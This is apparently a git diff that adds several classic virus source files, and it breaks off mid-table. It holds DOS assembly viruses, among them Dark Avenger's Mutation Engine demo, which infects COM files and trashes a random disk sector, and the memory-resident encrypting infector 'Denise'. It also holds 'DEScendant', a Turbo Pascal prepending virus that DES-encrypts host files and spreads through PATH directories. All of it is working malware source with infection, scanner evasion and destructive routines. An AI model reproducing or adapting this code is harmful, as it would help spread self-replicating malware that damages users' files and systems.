|
||||
mov ax,cx ;fix it
|
||||
xor ax,dx
|
||||
mov cx,0A
|
||||
xor dx,dx
|
||||
div cx
|
||||
mul cx
|
||||
add ax,3
|
||||
pop dx
|
||||
xor ax,dx
|
||||
mov cx,ax
|
||||
mov ax,5701H ;and save it
|
||||
int 21H
|
||||
jmp read_done
|
||||
|
||||
;determine if file is infected
|
||||
isinf:
|
||||
mov dx,offset dta_buf+1e
|
||||
mov ax,3d02 ;Open the file
|
||||
int 21
|
||||
mov bx,ax
|
||||
mov ax,5700H ;get file attribute
|
||||
int 21H
|
||||
mov ax,cx
|
||||
xor ax,dx ;date xor time mod 10 = 3 for infected file
|
||||
xor dx,dx
|
||||
mov cx,0A
|
||||
div cx
|
||||
cmp dx,3
|
||||
pushf
|
||||
mov ah,3e ;Close the file
|
||||
int 21
|
||||
popf
|
||||
ret
|
||||
|
||||
srchnam db '*.COM',0
|
||||
|
||||
old_cod: ;Buffer to read first 11 bytes
|
||||
ret
|
||||
db 0
|
||||
dw 0,0,0,0,0
|
||||
|
||||
|
||||
oold_cod: ;old old code
|
||||
db 0,0,0,0,0,0,0,0,0,0,0,0
|
||||
|
||||
new_cod: ;Buffer to write first 11 bytes
|
||||
call nc2
|
||||
nc1: pop ax
|
||||
jmp $+200
|
||||
nc2: pop ax
|
||||
call nc1
|
||||
nop
|
||||
|
||||
.data
|
||||
|
||||
dta_buf db 2bh dup(?) ;Buffer for DTA
|
||||
|
||||
end start
|
||||
|
||||
@@ -0,0 +1,176 @@
|
||||
|
||||
; This is a demo virus to demonstrate
|
||||
; the Mutation Engine <tm> usage
|
||||
|
||||
; Version 1.01 (1-3-92)
|
||||
; (C) 1992 Dark Avenger.
|
||||
|
||||
.model tiny
|
||||
.radix 16
|
||||
.code
|
||||
|
||||
extrn mut_engine: near, rnd_get: near, rnd_init: near
|
||||
extrn rnd_buf: word, data_top: near
|
||||
|
||||
org 100
|
||||
|
||||
start:
|
||||
call locadr
|
||||
reladr:
|
||||
db 'Just a simple demo...'
|
||||
locadr:
|
||||
pop dx
|
||||
mov cl,4
|
||||
shr dx,cl
|
||||
mov cx,ds
|
||||
add cx,dx ;Calculate new CS
|
||||
mov dx,offset begin
|
||||
push cx dx
|
||||
retf
|
||||
begin:
|
||||
cld
|
||||
mov di,offset start
|
||||
push es di
|
||||
push cs
|
||||
pop ds
|
||||
mov si,offset old_cod
|
||||
movsb ;Restore first 3 bytes
|
||||
push ax
|
||||
mov dx,offset dta_buf ;Set DTA
|
||||
mov ah,1a
|
||||
int 21
|
||||
mov ax,3524 ;Hook INT 24
|
||||
int 21
|
||||
push es bx
|
||||
mov dx,offset fail_err
|
||||
mov ax,2524
|
||||
int 21
|
||||
xor ax,ax ;Initialize random seed
|
||||
call rnd_init
|
||||
push sp
|
||||
pop cx
|
||||
sub cx,sp
|
||||
add cx,4
|
||||
push cx
|
||||
mov dx,offset srchnam
|
||||
mov cl,3
|
||||
mov ah,4e
|
||||
find_lup:
|
||||
int 21 ;Find the next COM file
|
||||
jc infect_done
|
||||
cmp [dta_buf+1a],ch
|
||||
jnz infect ;If not infected, infect it now
|
||||
find_nxt:
|
||||
push cx
|
||||
mov dx,offset dta_buf
|
||||
mov ah,4f
|
||||
jmp find_lup
|
||||
infect_done:
|
||||
pop cx
|
||||
loop find_nxt
|
||||
jnc damage_done
|
||||
test al,1
|
||||
jz damage_done
|
||||
xchg ax,dx ;Trash a random sector on the default
|
||||
mov ah,39 ; drive
|
||||
int 21
|
||||
mov cx,1
|
||||
mov bx,offset start
|
||||
int 26
|
||||
popf
|
||||
damage_done:
|
||||
pop dx ds
|
||||
mov ax,2524 ;Restore INT 24
|
||||
int 21
|
||||
pop ds
|
||||
mov dx,80 ;Restore DTA
|
||||
mov ah,1a
|
||||
int 21
|
||||
push ds ;Exit to program
|
||||
pop es
|
||||
pop ax
|
||||
retf
|
||||
infect:
|
||||
xor cx,cx ;Reset read-only attribute
|
||||
mov ax,4301
|
||||
int 21
|
||||
jc infect_done
|
||||
mov ax,3d02 ;Open the file
|
||||
int 21
|
||||
jc infect_done
|
||||
xchg ax,bx
|
||||
mov dx,offset old_cod ;Read first 3 bytes
|
||||
mov cx,3
|
||||
mov ah,3f
|
||||
int 21
|
||||
jc read_done
|
||||
mov ax,word ptr [old_cod] ;Make sure it's not an EXE file
|
||||
cmp ax,'ZM'
|
||||
jz read_done
|
||||
cmp ax,'MZ'
|
||||
jz read_done
|
||||
xor cx,cx ;Seek at EOF
|
||||
mov ax,4202
|
||||
int 21
|
||||
test dx,dx ;Make sure the file is not too big
|
||||
jnz read_done
|
||||
cmp ax,-2000
|
||||
jnc read_done
|
||||
mov bp,ax
|
||||
sub ax,3
|
||||
mov word ptr [new_cod+1],ax
|
||||
mov ax,5700 ;Save file's date/time
|
||||
int 21
|
||||
push dx cx
|
||||
mov ax,offset data_top+0f
|
||||
mov cl,4 ;Now call the Engine
|
||||
shr ax,cl
|
||||
mov es,ax
|
||||
mov dx,offset start
|
||||
mov cx,offset _DATA
|
||||
push bp bx
|
||||
add bp,dx
|
||||
xor si,si
|
||||
mov ax,101
|
||||
call mut_engine
|
||||
pop bx ax
|
||||
add ax,cx ;Make sure file length mod 256 = 0
|
||||
neg ax
|
||||
xor ah,ah
|
||||
add cx,ax
|
||||
push cs
|
||||
pop ds
|
||||
jc write_done
|
||||
sub cx,ax
|
||||
jnz write_done
|
||||
mov dx,offset new_cod
|
||||
mov cx,3
|
||||
mov ah,40
|
||||
int 21
|
||||
write_done:
|
||||
pop cx dx ;Restore file's date/time
|
||||
mov ax,5701
|
||||
int 21
|
||||
read_done:
|
||||
mov ah,3e ;Close the file
|
||||
int 21
|
||||
jmp infect_done
|
||||
|
||||
fail_err: ;Critical errors handler
|
||||
mov al,3
|
||||
iret
|
||||
|
||||
srchnam db '*.COM',0
|
||||
|
||||
old_cod: ;Buffer to read first 3 bytes
|
||||
ret
|
||||
dw ?
|
||||
|
||||
new_cod: ;Buffer to write first 3 bytes
|
||||
jmp $+100
|
||||
|
||||
.data
|
||||
|
||||
dta_buf db 2bh dup(?) ;Buffer for DTA
|
||||
|
||||
end start
|
||||
@@ -0,0 +1,349 @@
|
||||
; Virus generated by Gý 0.70á
|
||||
; Gý written by Dark Angel of Phalcon/Skism
|
||||
|
||||
; File: DENISE.ASM
|
||||
; Denise by Ender
|
||||
|
||||
checkres1 = 'DA'
|
||||
checkres2 = 'PS'
|
||||
id = 'FB'
|
||||
|
||||
.model tiny
|
||||
.code
|
||||
|
||||
; Assemble with:
|
||||
; TASM /m3 filename.ASM
|
||||
; TLINK filename.OBJ
|
||||
; EXE2BIN filename.EXE filename.COM
|
||||
org 0000h
|
||||
|
||||
start:
|
||||
ENCRYPT:
|
||||
patchstart:
|
||||
mov bx, offset endencrypt
|
||||
mov cx, (heap-endencrypt)/2+1
|
||||
encrypt_loop:
|
||||
db 002Eh ; cs:
|
||||
db 0081h ; add word ptr [bx], xxxx
|
||||
xorpatch db 0007h
|
||||
encryptvalue dw 0000h
|
||||
add bx, 0002h
|
||||
loop encrypt_loop
|
||||
endencrypt:
|
||||
mov bp, sp
|
||||
int 0003h
|
||||
next:
|
||||
mov bp, ss:[bp-6]
|
||||
sub bp, offset next
|
||||
|
||||
push es
|
||||
push ds
|
||||
|
||||
mov ax, checkres1 ; Installation check
|
||||
int 0021h
|
||||
cmp ax, checkres2 ; Already installed?
|
||||
jz done_install
|
||||
|
||||
mov ax, ds
|
||||
dec ax
|
||||
mov ds, ax
|
||||
sub word ptr ds:[0003h], ((endheap-start+1023)/1024)*64
|
||||
sub word ptr ds:[0012h], ((endheap-start+1023)/1024)*64
|
||||
mov es, word ptr ds:[0012h]
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
xor di, di
|
||||
mov cx, (heap-start)/2+1 ; Bytes to move
|
||||
mov si, bp ; lea si,[bp+offset start]
|
||||
rep movsw
|
||||
|
||||
xor ax, ax
|
||||
mov ds, ax
|
||||
sub word ptr ds:[0413h], (endheap-start+1023)/1024
|
||||
push ds
|
||||
lds ax, ds:[21h*4] ; Get old int handler
|
||||
mov word ptr es:oldint21, ax
|
||||
mov word ptr es:oldint21+2, ds
|
||||
pop ds
|
||||
mov word ptr ds:[21h*4], offset int21 ; Replace with new handler
|
||||
mov ds:[21h*4+2], es ; in high memory
|
||||
|
||||
done_install:
|
||||
pop es
|
||||
pop ds
|
||||
cmp sp, id
|
||||
jne restore_COM
|
||||
restore_EXE:
|
||||
mov ax, ds
|
||||
add ax, 0010h
|
||||
add cs:[bp+word ptr origCSIP+2], ax
|
||||
add ax, cs:[bp+word ptr origSPSS]
|
||||
cli
|
||||
mov ss, ax
|
||||
mov sp, cs:[bp+word ptr origSPSS+2]
|
||||
sti
|
||||
db 00EAh
|
||||
origCSIP db ?
|
||||
old3 db 0cdh,20h,0
|
||||
origSPSS dd ?
|
||||
|
||||
restore_COM:
|
||||
mov di, 0100h
|
||||
push di
|
||||
lea si, [bp+offset old3]
|
||||
movsb
|
||||
movsw
|
||||
ret
|
||||
|
||||
INT24:
|
||||
mov al, 0003h
|
||||
iret
|
||||
|
||||
int21:
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push si
|
||||
push di
|
||||
push ds
|
||||
push es
|
||||
|
||||
cmp ax, 4B00h ; execute?
|
||||
jz execute
|
||||
return:
|
||||
jmp exitint21
|
||||
execute:
|
||||
mov word ptr cs:filename, dx
|
||||
mov word ptr cs:filename+2, ds
|
||||
mov ax, 3524h
|
||||
int 0021h
|
||||
push es
|
||||
push bx
|
||||
|
||||
mov ax, 2524h
|
||||
lea dx, INT24 ; ASSumes ds=cs
|
||||
int 0021h
|
||||
|
||||
push cs
|
||||
pop es
|
||||
|
||||
|
||||
mov bx, dx
|
||||
cmp word ptr [bx+3], 'AM' ; Check if COMMAND.COM
|
||||
jz return ; Exit if so
|
||||
|
||||
mov ax, 4300h
|
||||
lds dx, cs:filename
|
||||
int 0021h
|
||||
jc return
|
||||
push cx
|
||||
push ds
|
||||
push dx
|
||||
|
||||
mov ax, 4301h ; clear file attributes
|
||||
push ax ; save for later use
|
||||
xor cx, cx
|
||||
int 0021h
|
||||
|
||||
lds dx, cs:filename
|
||||
mov ax, 3D02h
|
||||
int 0021h
|
||||
xchg ax, bx
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
mov ax, 5700h ; get file time/date
|
||||
int 0021h
|
||||
push cx
|
||||
push dx
|
||||
|
||||
mov ah, 003Fh
|
||||
mov dx, offset readbuffer
|
||||
mov cx, 001Ah
|
||||
int 0021h
|
||||
|
||||
mov ax, 4202h
|
||||
xor cx, cx
|
||||
cwd
|
||||
int 0021h
|
||||
|
||||
cmp word ptr [offset readbuffer], 'ZM'
|
||||
jz checkEXE
|
||||
|
||||
mov cx, word ptr [offset readbuffer+1] ; jmp location
|
||||
add cx, heap-start+3 ; convert to filesize
|
||||
cmp ax, cx ; equal if already infected
|
||||
jz jmp_close
|
||||
|
||||
cmp ax, 65535-(endheap-start) ; check if too large
|
||||
ja jmp_close ; Exit if so
|
||||
|
||||
cmp ax, (heap-start) ; check if too small
|
||||
jb jmp_close ; Exit if so
|
||||
|
||||
mov si, offset readbuffer
|
||||
mov di, offset old3
|
||||
movsw
|
||||
movsb
|
||||
|
||||
mov si, ax ; save entry point
|
||||
add si, 0100h
|
||||
mov cx, 0003h
|
||||
sub ax, cx
|
||||
mov word ptr [offset readbuffer+1], ax
|
||||
mov dl, 00E9h
|
||||
mov byte ptr [offset readbuffer], dl
|
||||
jmp short continue_infect
|
||||
checkEXE:
|
||||
cmp word ptr [offset readbuffer+10h], id
|
||||
jnz skipp
|
||||
jmp_close:
|
||||
jmp close
|
||||
skipp:
|
||||
|
||||
lea si, readbuffer+14h
|
||||
lea di, origCSIP
|
||||
movsw ; Save original CS and IP
|
||||
movsw
|
||||
|
||||
sub si, 000Ah
|
||||
movsw ; Save original SS and SP
|
||||
movsw
|
||||
|
||||
push bx ; save file handle
|
||||
mov bx, word ptr [readbuffer+8] ; Header size in paragraphs
|
||||
mov cl, 0004h
|
||||
shl bx, cl
|
||||
|
||||
push dx ; Save file size on the
|
||||
push ax ; stack
|
||||
|
||||
sub ax, bx ; File size - Header size
|
||||
sbb dx, 0000h ; DX:AX - BX -> DX:AX
|
||||
|
||||
mov cx, 0010h
|
||||
div cx ; DX:AX/CX = AX Remainder DX
|
||||
|
||||
mov word ptr [readbuffer+0Eh], ax ; Para disp stack segment
|
||||
mov word ptr [readbuffer+10h], id ; Initial SP
|
||||
mov word ptr [readbuffer+16h], ax ; Para disp CS in module.
|
||||
mov word ptr [readbuffer+14h], dx ; IP Offset
|
||||
|
||||
mov si, dx ; save entry point
|
||||
pop ax ; Filelength in DX:AX
|
||||
pop dx
|
||||
|
||||
add ax, heap-start
|
||||
adc dx, 0000h
|
||||
|
||||
mov cl, 0009h
|
||||
push ax
|
||||
shr ax, cl
|
||||
ror dx, cl
|
||||
stc
|
||||
adc dx, ax
|
||||
pop ax
|
||||
and ah, 0001h
|
||||
|
||||
mov word ptr [readbuffer+4], dx ; Fix-up the file size in
|
||||
mov word ptr [readbuffer+2], ax ; the EXE header.
|
||||
|
||||
pop bx ; restore file handle
|
||||
mov cx, 001Ah
|
||||
|
||||
continue_infect:
|
||||
push cx ; save # bytes to write
|
||||
|
||||
get_encrypt_value:
|
||||
mov ah, 002Ch ; Get current time
|
||||
int 0021h
|
||||
|
||||
or dx, dx ; Check if encryption value = 0
|
||||
jz get_encrypt_value ; Get another if it is
|
||||
|
||||
add si, (offset endencrypt-offset encrypt)
|
||||
mov word ptr ds:[patchstart+1], si
|
||||
mov word ptr ds:[encryptvalue], dx
|
||||
|
||||
mov cx, (heap-encrypt)/2
|
||||
mov si, offset ENCRYPT
|
||||
mov di, offset encryptbuffer
|
||||
push si
|
||||
rep movsw ; copy virus to buffer
|
||||
|
||||
mov ax, offset endencrypt-encrypt+encryptbuffer
|
||||
mov word ptr ds:[patchstart+1], ax
|
||||
pop si
|
||||
push offset endencrypt
|
||||
mov byte ptr [offset endencrypt], 00C3h ; retn
|
||||
xor byte ptr [offset xorpatch-encrypt+encryptbuffer], 0028h
|
||||
push bx
|
||||
call si ; encrypt virus in buffer
|
||||
pop bx
|
||||
pop word ptr [offset endencrypt]
|
||||
|
||||
xor byte ptr [offset xorpatch], 0028h
|
||||
|
||||
mov ah, 0040h
|
||||
mov cx, heap-encrypt
|
||||
mov dx, offset encryptbuffer
|
||||
int 0021h
|
||||
|
||||
xor cx, cx
|
||||
mov ax, 4200h
|
||||
cwd
|
||||
int 0021h
|
||||
|
||||
|
||||
pop cx
|
||||
mov ah, 0040h
|
||||
mov dx, offset readbuffer
|
||||
int 0021h
|
||||
|
||||
|
||||
close:
|
||||
mov ax, 5701h ; restore file time/date
|
||||
pop dx
|
||||
pop cx
|
||||
int 0021h
|
||||
|
||||
mov ah, 003Eh
|
||||
int 0021h
|
||||
|
||||
pop ax ; restore file attributes
|
||||
pop dx ; get filename and
|
||||
pop ds
|
||||
pop cx ; attributes from stack
|
||||
int 0021h
|
||||
|
||||
pop dx
|
||||
pop ds
|
||||
mov ax, 2524h
|
||||
int 0021h
|
||||
|
||||
exitint21:
|
||||
pop es
|
||||
pop ds
|
||||
pop di
|
||||
pop si
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
|
||||
db 00EAh ; return to original handler
|
||||
oldint21 dd ?
|
||||
|
||||
signature db '[PS/Gý]',0 ; Phalcon/Skism Gý
|
||||
creator db 'Ender',0
|
||||
virusname db 'Denise',0
|
||||
|
||||
heap:
|
||||
encryptbuffer db (heap-encrypt)+1 dup (?)
|
||||
filename dd ?
|
||||
readbuffer db 1ah dup (?)
|
||||
endheap:
|
||||
end start
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,521 @@
|
||||
{
|
||||
같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같�
|
||||
겠컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 Description: 컴컴컴컴컴컴컴컴컴컴컴컴컴컴커�
|
||||
개 낡
|
||||
개 - DEScendant - 낡
|
||||
개 낡
|
||||
개 A prepending virus written in borland turbo pascal 7.0, it encrypts 낡
|
||||
개 variable blocks of the host file using DES, also storing the key on 낡
|
||||
개 variable offsets, this should make it very hard for AV scanner to clean 낡
|
||||
개 this virus. It doesn't infect any "new exe" files. 낡
|
||||
개 If an infected program is called with the command line parameters 낡
|
||||
개 "Too Many Secrets" the virus would put a file called "terces.pot" which 낡
|
||||
개 stores a with DES encrypted copyright message in the current directory. 낡
|
||||
개 The virus infects only 2 files per run, after no more files are found 낡
|
||||
개 in the current directory it changes the directory through the PATH 낡
|
||||
개 variable. 낡
|
||||
개 낡
|
||||
개 Credits go to the guy who wrote the DES unit :) i don't know his name. 낡
|
||||
걋컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴켸�
|
||||
같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같�
|
||||
|
||||
-- The DESUNIT.PAS is at the bottom --
|
||||
}
|
||||
|
||||
{$M $4000,0,0 }
|
||||
{$I-}
|
||||
program _DEScendant_Of_Devil_;
|
||||
uses crt, dos,windos,desunit;
|
||||
|
||||
const
|
||||
virussize=11712;
|
||||
|
||||
var
|
||||
dirinfo:tSearchRec;
|
||||
filename:string;
|
||||
buffer:array[1..virussize] of char;
|
||||
numread,numwritten:word;
|
||||
counter:byte;
|
||||
attr:word;
|
||||
copywrong:string;
|
||||
fcrypt: file;
|
||||
i:word;
|
||||
ende:boolean;
|
||||
|
||||
path:array[1..50] of string[64];
|
||||
path_item, current_dir:word;
|
||||
self:boolean;
|
||||
originaldir,fullname,name:array[0..80] of char;
|
||||
|
||||
function findfirstfile:string;
|
||||
begin
|
||||
findfirst('*.exe',faArchive,dirinfo);
|
||||
if doserror = 0 then
|
||||
findfirstfile:=dirinfo.name
|
||||
else
|
||||
findfirstfile:='';
|
||||
end;
|
||||
|
||||
function findnextfile:string;
|
||||
begin
|
||||
findnext(dirinfo);
|
||||
if doserror = 0 then
|
||||
findnextfile:=dirinfo.name
|
||||
else
|
||||
findnextfile:='';
|
||||
end;
|
||||
|
||||
function infected(filename:string):boolean;
|
||||
var
|
||||
fyou:file;
|
||||
begin
|
||||
assign(fyou,filename);
|
||||
reset(fyou,1);
|
||||
blockread(fyou,buffer,25,numread);
|
||||
close(fyou);
|
||||
if numread>=25 then
|
||||
begin
|
||||
if (buffer[19]='i') or (buffer[25]>=#64) then
|
||||
infected:=true
|
||||
else
|
||||
infected:=false;
|
||||
end
|
||||
else
|
||||
infected:=true;
|
||||
end;
|
||||
|
||||
procedure crypt(var buffer:array of char; what:boolean);
|
||||
var
|
||||
key,bufferin,bufferout:array[1..8] of char;
|
||||
i,key_begin,cipher_begin:word;
|
||||
begin
|
||||
case buffer[1] of
|
||||
#0..#63: begin
|
||||
key_begin:=10;
|
||||
cipher_begin:=1998;
|
||||
end;
|
||||
#64..#127: begin
|
||||
key_begin:=4;
|
||||
cipher_begin:=21;
|
||||
end;
|
||||
#128..#191: begin
|
||||
key_begin:=1982;
|
||||
cipher_begin:=4;
|
||||
end;
|
||||
#192..#255: begin
|
||||
key_begin:=7;
|
||||
cipher_begin:=777;
|
||||
end;
|
||||
end;
|
||||
for i:=1 to 8 do
|
||||
key[i]:=buffer[i+key_begin];
|
||||
for i:=1 to 8 do
|
||||
bufferin[i]:=buffer[i+cipher_begin];
|
||||
des(bufferin[1],bufferout[1],key[1],what);
|
||||
for i:=1 to 8 do
|
||||
buffer[i+cipher_begin]:=bufferout[i];
|
||||
end;
|
||||
|
||||
procedure infect(filename:string);
|
||||
var
|
||||
fyou,fwe,ftemp:file;
|
||||
bytes_read:longint;
|
||||
begin
|
||||
assign(fwe,fullname);
|
||||
if self=false then
|
||||
begin
|
||||
setfattr(fwe,faarchive);
|
||||
reset(fwe,1);
|
||||
seek(fwe,18);
|
||||
buffer[1]:='i';
|
||||
blockwrite(fwe,buffer,1);
|
||||
self:=true;
|
||||
end;
|
||||
if infected(filename) = false then
|
||||
begin
|
||||
assign(fyou,filename);
|
||||
setfattr(fyou,faarchive);
|
||||
assign(ftemp,'uhczzeku.tmp');
|
||||
setfattr(ftemp,faarchive);
|
||||
reset(fyou,1);
|
||||
reset(fwe,1);
|
||||
rewrite(ftemp,1);
|
||||
blockread(fwe,buffer,virussize,numread);
|
||||
blockwrite(ftemp,buffer,numread,numwritten);
|
||||
repeat
|
||||
blockread(fyou,buffer,2048,numread);
|
||||
if numread=2048 then
|
||||
crypt(buffer, true);
|
||||
blockwrite(ftemp,buffer,numread,numwritten);
|
||||
until (numread = 0) or (numwritten <> numread);
|
||||
rewrite(fyou,1);
|
||||
reset(ftemp,1);
|
||||
repeat
|
||||
blockread(ftemp,buffer,2048,numread);
|
||||
blockwrite(fyou,buffer,numread,numwritten);
|
||||
until (numread = 0) or (numwritten <> numread);
|
||||
close(fyou);
|
||||
close(ftemp);
|
||||
erase(ftemp);
|
||||
inc(counter);
|
||||
end;
|
||||
close(fwe);
|
||||
end;
|
||||
|
||||
procedure execute_us;
|
||||
var
|
||||
i:byte;
|
||||
fwe,ftemp:file;
|
||||
parameter:string;
|
||||
begin
|
||||
randomize;
|
||||
filename:='';
|
||||
for i:=1 to 8 do
|
||||
filename:=filename+chr(random(26)+ord('a'));
|
||||
filename:=filename+'.exe';
|
||||
assign(fwe,fullname);
|
||||
assign(ftemp,filename);
|
||||
setfattr(ftemp,faarchive);
|
||||
reset(fwe,1);
|
||||
rewrite(ftemp,1);
|
||||
seek(fwe,virussize);
|
||||
repeat
|
||||
blockread(fwe,buffer,2048,numread);
|
||||
if numread=2048 then
|
||||
crypt(buffer,false);
|
||||
blockwrite(ftemp,buffer,numread,numwritten);
|
||||
until (numread=0) or (numwritten<>numread);
|
||||
close(fwe);
|
||||
close(ftemp);
|
||||
parameter:='';
|
||||
if paramcount>0 then
|
||||
for i:=1 to paramcount do
|
||||
parameter:=parameter+' '+paramstr(i);
|
||||
swapvectors;
|
||||
exec(filename,parameter);
|
||||
swapvectors;
|
||||
setfattr(ftemp,faarchive);
|
||||
erase(ftemp);
|
||||
end;
|
||||
|
||||
procedure changedirectory;
|
||||
begin
|
||||
if path[current_dir+1]<>'' then
|
||||
begin
|
||||
inc(current_dir);
|
||||
chdir(path[current_dir]);
|
||||
end
|
||||
else
|
||||
ende:=true;
|
||||
end;
|
||||
|
||||
procedure initpath;
|
||||
var
|
||||
i,j:word;
|
||||
dummy:string;
|
||||
begin
|
||||
dummy:=getenv('path');
|
||||
j:=1;
|
||||
for i:=1 to length(dummy) do
|
||||
begin
|
||||
if dummy[i]=';' then
|
||||
begin
|
||||
inc(j);
|
||||
path[j]:='';
|
||||
end
|
||||
else
|
||||
path[j]:=path[j]+dummy[i];
|
||||
end;
|
||||
end;
|
||||
|
||||
begin
|
||||
if (paramcount=3) and (paramstr(1)='Too') and (paramstr(2)='Many') and
|
||||
(paramstr(3)='Secrets') then
|
||||
begin
|
||||
copywrong:=#78+#32+#185+#52+#203+#38+#250+#148+
|
||||
#229+#141+#155+#90+#22+#74+#218+#121+
|
||||
#172+#246+#185+#190+#175+#80+#2+#79+
|
||||
#121+#214+#132+#247+#26+#196+#192+#114;
|
||||
assign(fcrypt,'terces.pot');
|
||||
rewrite(fcrypt,1);
|
||||
blockwrite(fcrypt,copywrong[1],32,numwritten);
|
||||
close(fcrypt);
|
||||
clrscr;
|
||||
textmode(co80);
|
||||
textcolor(7);
|
||||
gotoxy(33,1); writeln('QRFpraqnag Bs Qrivy,');
|
||||
gotoxy(25,5); writeln('jevggra ol FCb5xl va 6443 sbe PO');
|
||||
textcolor(7+blink);
|
||||
gotoxy(25,12); writeln('*** EXPORT RESTRICTIONS APPLY ***');
|
||||
textcolor(7);
|
||||
gotoxy(28,20); writeln('uggc://jjj.pbqroernxref.bet');
|
||||
halt(0);
|
||||
end;
|
||||
getcurdir(originaldir,0);
|
||||
filename:=paramstr(0);
|
||||
for i:=0 to length(filename)-1 do
|
||||
name[i]:=filename[i+1];
|
||||
name[i+1]:=#0;
|
||||
fileexpand(fullname,name);
|
||||
self:=false;
|
||||
counter:=0;
|
||||
ende:=false;
|
||||
path_item:=0;
|
||||
current_dir:=0;
|
||||
initpath;
|
||||
filename:=findfirstfile;
|
||||
while ende=false do
|
||||
begin
|
||||
if counter<2 then
|
||||
begin
|
||||
if (filename='') and (ende=false) then
|
||||
changedirectory;
|
||||
if ende=false then
|
||||
begin
|
||||
if filename='' then
|
||||
filename:=findfirstfile;
|
||||
infect(filename);
|
||||
filename:=findnextfile;
|
||||
end;
|
||||
end
|
||||
else
|
||||
ende:=true;
|
||||
end;
|
||||
setcurdir(originaldir);
|
||||
execute_us;
|
||||
end.
|
||||
|
||||
|
||||
|
||||
---------------------------------DESUNIT.PAS---------------------------------
|
||||
|
||||
unit Desunit;
|
||||
|
||||
interface
|
||||
|
||||
|
||||
|
||||
Procedure DES (Var Input; Var Output; Var Key; Encrypt : Boolean);
|
||||
|
||||
implementation
|
||||
|
||||
Procedure DES (Var Input; Var Output; Var Key; Encrypt : Boolean);
|
||||
|
||||
Const
|
||||
IP : Array [1..64] Of Byte = (58,50,42,34,26,18,10,2,
|
||||
60,52,44,36,28,20,12,4,
|
||||
62,54,46,38,30,22,14,6,
|
||||
64,56,48,40,32,24,16,8,
|
||||
57,49,41,33,25,17, 9,1,
|
||||
59,51,43,35,27,19,11,3,
|
||||
61,53,45,37,29,21,13,5,
|
||||
63,55,47,39,31,23,15,7);
|
||||
InvIP : Array [1..64] Of Byte = (40, 8,48,16,56,24,64,32,
|
||||
39, 7,47,15,55,23,63,31,
|
||||
38, 6,46,14,54,22,62,30,
|
||||
37, 5,45,13,53,21,61,29,
|
||||
36, 4,44,12,52,20,60,28,
|
||||
35, 3,43,11,51,19,59,27,
|
||||
34, 2,42,10,50,18,58,26,
|
||||
33, 1,41, 9,49,17,57,25);
|
||||
E : Array [1..48] Of Byte = (32, 1, 2, 3, 4, 5,
|
||||
4, 5, 6, 7, 8, 9,
|
||||
8, 9,10,11,12,13,
|
||||
12,13,14,15,16,17,
|
||||
16,17,18,19,20,21,
|
||||
20,21,22,23,24,25,
|
||||
24,25,26,27,28,29,
|
||||
28,29,30,31,32, 1);
|
||||
P : Array [1..32] Of Byte = (16, 7,20,21,
|
||||
29,12,28,17,
|
||||
1,15,23,26,
|
||||
5,18,31,10,
|
||||
2, 8,24,14,
|
||||
32,27, 3, 9,
|
||||
19,13,30, 6,
|
||||
22,11, 4,25);
|
||||
SBoxes : Array [1..8,0..3,0..15] Of Byte =
|
||||
(((14, 4,13, 1, 2,15,11, 8, 3,10, 6,12, 5, 9, 0, 7),
|
||||
( 0,15, 7, 4,14, 2,13, 1,10, 6,12,11, 9, 5, 3, 8),
|
||||
( 4, 1,14, 8,13, 6, 2,11,15,12, 9, 7, 3,10, 5, 0),
|
||||
(15,12, 8, 2, 4, 9, 1, 7, 5,11, 3,14,10, 0, 6,13)),
|
||||
|
||||
((15, 1, 8,14, 6,11, 3, 4, 9, 7, 2,13,12, 0, 5,10),
|
||||
( 3,13, 4, 7,15, 2, 8,14,12, 0, 1,10, 6, 9,11, 5),
|
||||
( 0,14, 7,11,10, 4,13, 1, 5, 8,12, 6, 9, 3, 2,15),
|
||||
(13, 8,10, 1, 3,15, 4, 2,11, 6, 7,12, 0, 5,14, 9)),
|
||||
|
||||
((10, 0, 9,14, 6, 3,15, 5, 1,13,12, 7,11, 4, 2, 8),
|
||||
(13, 7, 0, 9, 3, 4, 6,10, 2, 8, 5,14,12,11,15, 1),
|
||||
(13, 6, 4, 9, 8,15, 3, 0,11, 1, 2,12, 5,10,14, 7),
|
||||
( 1,10,13, 0, 6, 9, 8, 7, 4,15,14, 3,11, 5, 2,12)),
|
||||
|
||||
(( 7,13,14, 3, 0, 6, 9,10, 1, 2, 8, 5,11,12, 4,15),
|
||||
(13, 8,11, 5, 6,15, 0, 3, 4, 7, 2,12, 1,10,14, 9),
|
||||
(10, 6, 9, 0,12,11, 7,13,15, 1, 3,14, 5, 2, 8, 4),
|
||||
( 3,15, 0, 6,10, 1,13, 8, 9, 4, 5,11,12, 7, 2,14)),
|
||||
|
||||
(( 2,12, 4, 1, 7,10,11, 6, 8, 5, 3,15,13, 0,14, 9),
|
||||
(14,11, 2,12, 4, 7,13, 1, 5, 0,15,10, 3, 9, 8, 6),
|
||||
( 4, 2, 1,11,10,13, 7, 8,15, 9,12, 5, 6, 3, 0,14),
|
||||
(11, 8,12, 7, 1,14, 2,13, 6,15, 0, 9,10, 4, 5, 3)),
|
||||
|
||||
((12, 1,10,15, 9, 2, 6, 8, 0,13, 3, 4,14, 7, 5,11),
|
||||
(10,15, 4, 2, 7,12, 9, 5, 6, 1,13,14, 0,11, 3, 8),
|
||||
( 9,14,15, 5, 2, 8,12, 3, 7, 0, 4,10, 1,13,11, 6),
|
||||
( 4, 3, 2,12, 9, 5,15,10,11,14, 1, 7, 6, 0, 8,13)),
|
||||
|
||||
(( 4,11, 2,14,15, 0, 8,13, 3,12, 9, 7, 5,10, 6, 1),
|
||||
(13, 0,11, 7, 4, 9, 1,10,14, 3, 5,12, 2,15, 8, 6),
|
||||
( 1, 4,11,13,12, 3, 7,14,10,15, 6, 8, 0, 5, 9, 2),
|
||||
( 6,11,13, 8, 1, 4,10, 7, 9, 5, 0,15,14, 2, 3,12)),
|
||||
|
||||
((13, 2, 8, 4, 6,15,11, 1,10, 9, 3,14, 5, 0,12, 7),
